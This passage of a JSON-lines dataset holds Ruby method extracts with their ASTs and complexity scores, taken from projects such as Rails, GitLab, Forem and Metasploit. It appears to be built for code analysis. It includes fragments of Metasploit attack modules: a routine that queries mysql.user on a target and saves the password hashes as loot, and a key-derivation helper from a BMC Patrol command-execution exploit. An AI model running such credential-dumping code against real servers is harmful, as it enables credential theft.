report_hashes(tbl.to_csv, this_service, host, port) unless tbl.rows.empty?\n end","complexity_score":53.83,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_hashes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"str\",\"children\":[\"SELECT user,password from mysql.user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\" There was an error reading the MySQL User Table\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"MysQL Server Hashes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Username\"]},{\"type\":\"str\",\"children\":[\"Hash\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_s\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_s\"]}]}]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\" Saving HashString as Loot: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"this_service\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"active\"]}]},{\"type\":\"lvasgn\",\"children\":[\"this_service\",{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"mysql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"rows\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"report_hashes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_csv\"]},{\"type\":\"lvar\",\"children\":[\"this_service\"]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}]}","id":"c1deb20f-702b-4abd-a210-b420faf1b771"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/placeholder_user_limit.rb","start_line":48,"raw_source":"def calculate_has_exceeded\n return false unless count > 0\n\n count >= limit\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_has_exceeded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"count\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"limit\"]}]}]}]}","id":"861006f1-3ea1-4ac4-8671-f0a89395f796"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/database/batched_background_migration/sec_database_worker.rb","start_line":8,"raw_source":"def self.tracking_database\n @tracking_database ||= Gitlab::Database::SEC_DATABASE_NAME.to_sym\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tracking_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tracking_database\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"SEC_DATABASE_NAME\"]},\"to_sym\"]}]}]}","id":"7f78d962-3506-4bb3-a042-df438eb722f1"}
+{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/confirmation.rb","start_line":21,"raw_source":"def setup!(klass)\n klass.attr_reader(*attributes.filter_map do |attribute|\n :\"#{attribute}_confirmation\" unless klass.method_defined?(:\"#{attribute}_confirmation\")\n end)\n\n klass.attr_writer(*attributes.filter_map do |attribute|\n :\"#{attribute}_confirmation\" unless klass.method_defined?(:\"#{attribute}_confirmation=\")\n end)\n end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"attr_reader\",{\"type\":\"splat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"method_defined?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_confirmation\"]}]}]},null,{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_confirmation\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"attr_writer\",{\"type\":\"splat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"method_defined?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_confirmation=\"]}]}]},null,{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_confirmation\"]}]}]}]}]}]}]}]}","id":"22de3e07-7801-49bd-9658-6a2e3527c40d"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/lib/module_validation.rb","start_line":6,"raw_source":"def validate_each(record, attribute, value)\n unless value.is_a?(Array)\n record.errors.add(attribute, \"#{attribute} must be an array\")\n return\n end\n\n # Special cases for modules/exploits/bsd/finger/morris_fingerd_bof.rb which has a one-off architecture defined in\n # the module itself, and that value is not included in the valid list of architectures.\n # https://github.com/rapid7/metasploit-framework/blob/389d84cbf0d7c58727846466d9a9f6a468f32c61/modules/exploits/bsd/finger/morris_fingerd_bof.rb#L11\n return if attribute == :arch && value == [\"vax\"] && record.fullname == \"exploit/bsd/finger/morris_fingerd_bof\"\n return if value == options[:sentinel_value]\n\n invalid_options = value - options[:in]\n message = \"contains invalid values #{invalid_options.inspect} - only #{options[:in].inspect} is allowed\"\n\n if invalid_options.any?\n record.errors.add(attribute, :array_inclusion, message: message, value: value)\n end\n end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\" must be an array\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"==\",{\"type\":\"sym\",\"children\":[\"arch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"vax\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"fullname\"]},\"==\",{\"type\":\"str\",\"children\":[\"exploit/bsd/finger/morris_fingerd_bof\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sentinel_value\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"invalid_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"in\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"contains invalid values \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_options\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" - only \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"in\"]}]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" is allowed\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_options\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"sym\",\"children\":[\"array_inclusion\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},null]}]}]}","id":"07475307-af4b-4840-8228-fb881534bced"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb","start_line":107,"raw_source":"def column_names(table)\n @connection.send(:table_structure, table).map { |column| column[\"name\"] }\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"column_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"send\",{\"type\":\"sym\",\"children\":[\"table_structure\"]},{\"type\":\"lvar\",\"children\":[\"table\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}","id":"07539418-36e4-4110-90f1-763dd7748984"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/hardware.rb","start_line":50,"raw_source":"def mac_addresses\n @mac_addresses ||= nics.collect(&:address).compact.uniq\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"mac_addresses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mac_addresses\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nics\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]}]}]},\"compact\"]},\"uniq\"]}]}]}","id":"a8b58ad8-19f9-49b4-950d-56127bafbb87"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb","start_line":1037,"raw_source":"def des_string_to_key(key_buf_str)\n des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)\n des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)\n\n temp_key1 = Array.new(8, 0)\n temp_key2 = Array.new(8, 0)\n\n key_buf_bytes = key_buf_str.unpack(\"c*\")\n\n counter = 0\n key_buf_str_len = key_buf_bytes.length - 1\n for i in 0..key_buf_str_len\n counter %= 8\n temp_key1[counter] |= key_buf_bytes[i]\n temp_key2[counter] |= key_buf_bytes[i]\n\n data_block = temp_key1.pack(\"c*\").unpack(\"V*\")\n temp_key1 = sbox_xors(data_block, des_keysch_0, 0)\n temp_key1 = temp_key1.pack(\"V*\").unpack(\"c*\")\n\n data_block = temp_key2.pack(\"c*\").unpack(\"V*\")\n temp_key2 = sbox_xors(data_block, des_keysch_1, 0)\n temp_key2 = temp_key2.pack(\"V*\").unpack(\"c*\")\n counter += 1\n end\n\n # Prepare the return array\n ret_key = Array.new(8, 0)\n for j in 0..7\n ret_key[j] = temp_key2[j] ^ temp_key1[j]\n end\n ret_key.pack(\"c*\")\n end","complexity_score":50.45,"ast_json":"{\"type\":\"def\",\"children\":[\"des_string_to_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_buf_str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"des_keysch_0\",{\"type\":\"send\",\"children\":[null,\"gen_key_unchecked\",{\"type\":\"const\",\"children\":[null,\"INIT_DES_KEY_0\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"des_keysch_1\",{\"type\":\"send\",\"children\":[null,\"gen_key_unchecked\",{\"type\":\"const\",\"children\":[null,\"INIT_DES_KEY_1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_buf_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_buf_str\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"c*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"counter\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"key_buf_str_len\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_buf_bytes\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"key_buf_str_len\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\"]},\"%\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key1\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"counter\"]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_buf_bytes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key2\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"counter\"]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_buf_bytes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data_block\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key1\"]},\"pack\",{\"type\":\"str\",\"children\":[\"c*\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key1\",{\"type\":\"send\",\"children\":[null,\"sbox_xors\",{\"type\":\"lvar\",\"children\":[\"data_block\"]},{\"type\":\"lvar\",\"children\":[\"des_keysch_0\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key1\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key1\"]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"c*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data_block\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key2\"]},\"pack\",{\"type\":\"str\",\"children\":[\"c*\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key2\",{\"type\":\"send\",\"children\":[null,\"sbox_xors\",{\"type\":\"lvar\",\"children\":[\"data_block\"]},{\"type\":\"lvar\",\"children\":[\"des_keysch_1\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_key2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key2\"]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"c*\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"j\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret_key\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"j\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key2\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"j\"]}]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_key1\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"j\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret_key\"]},\"pack\",{\"type\":\"str\",\"children\":[\"c*\"]}]}]}]}","id":"075d4c37-21c5-4a49-8161-61986cbf249f"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inverse_associations_test.rb","start_line":750,"raw_source":"def test_child_instance_should_be_shared_with_newly_built_parent\n face = faces(:trusting)\n human = face.build_human(name: \"Charles\")\n assert_not_nil human.face\n assert_equal face.description, human.face.description, \"Description of face should be the same before changes to child instance\"\n face.description = \"gormless\"\n assert_equal face.description, human.face.description, \"Description of face should be the same after changes to child instance\"\n human.face.description = \"pleasing\"\n assert_equal face.description, human.face.description, \"Description of face should be the same after changes to just-built-parent-owned instance\"\n end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_child_instance_should_be_shared_with_newly_built_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"face\",{\"type\":\"send\",\"children\":[null,\"faces\",{\"type\":\"sym\",\"children\":[\"trusting\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"human\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"face\"]},\"build_human\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Charles\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"face\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"face\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"face\"]},\"description\"]},{\"type\":\"str\",\"children\":[\"Description of face should be the same before changes to child instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"face\"]},\"description=\",{\"type\":\"str\",\"children\":[\"gormless\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"face\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"face\"]},\"description\"]},{\"type\":\"str\",\"children\":[\"Description of face should be the same after changes to child instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"face\"]},\"description=\",{\"type\":\"str\",\"children\":[\"pleasing\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"face\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"face\"]},\"description\"]},{\"type\":\"str\",\"children\":[\"Description of face should be the same after changes to just-built-parent-owned instance\"]}]}]}]}","id":"a7b55fa7-2f58-4bb2-88de-03c73a711b1f"}
+{"repo_name":"forem","file_path":"./repos/forem/app/services/admin/charts_data.rb","start_line":7,"raw_source":"def call\n period = (@length + 1).days.ago..1.day.ago\n previous_period = (@length * 2).days.ago..(@length + 1).days.ago\n\n grouped_posts = Article.where(published_at: period).group(\"DATE(published_at)\").size\n grouped_comments = Comment.where(created_at: period).group(\"DATE(created_at)\").size\n grouped_reactions = Reaction.where(created_at: period).group(\"DATE(created_at)\").size\n grouped_users = User.where(registered_at: period).group(\"DATE(registered_at)\").size\n\n days_range = @length.downto(1)\n posts_values = days_range.map { |n| grouped_posts[n.days.ago.to_date] || 0 }\n comments_values = days_range.map { |n| grouped_comments[n.days.ago.to_date] || 0 }\n reactions_values = days_range.map { |n| grouped_reactions[n.days.ago.to_date] || 0 }\n new_members_values = days_range.map { |n| grouped_users[n.days.ago.to_date] || 0 }\n\n [\n [\"Posts\", posts_values.sum, Article.where(published_at: previous_period).size,\n posts_values],\n [\"Comments\", comments_values.sum, Comment.where(created_at: previous_period).size,\n comments_values],\n [\"Reactions\", reactions_values.sum, Reaction.where(created_at: previous_period).size,\n reactions_values],\n [\"New members\", new_members_values.sum, User.where(registered_at: previous_period).size,\n new_members_values],\n ]\n end","complexity_score":90.45,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"period\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"days\"]},\"ago\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},\"ago\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"previous_period\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@length\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]},\"days\"]},\"ago\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"days\"]},\"ago\"]}]}]},{\"type\":\"lvasgn\